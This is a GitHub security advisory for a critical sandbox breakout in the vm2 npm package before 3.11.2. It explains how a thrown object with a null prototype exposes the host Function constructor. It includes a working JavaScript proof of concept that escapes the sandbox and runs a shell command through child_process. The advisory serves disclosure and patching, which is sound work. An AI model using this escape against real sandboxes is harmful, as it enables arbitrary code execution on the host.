GitHub Advisoryadvisory · npm

GHSA-9vg3-4rfj-wgcm vm2 has Sandbox Breakout Through Null Proto Exception

CRITICAL Published 2026-05-08 Modified 2026-05-14 Official page ↗
Aliases
CVE-2026-44009
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-668
Reviewed
2026-05-08

Affected packages

• npm vm2: < 3.11.2 → fixed in 3.11.2

Description

Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object. PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const o = {__proto__: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } `)); ``` Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Related

Alias · CVE (1)

  • CVE-2026-44009 vm2 is an open source vm/sandbox for Node.js. vulnerability

Weakness · CWE (1)

  • CWE-668 Exposure of Resource to Wrong Sphere weakness

References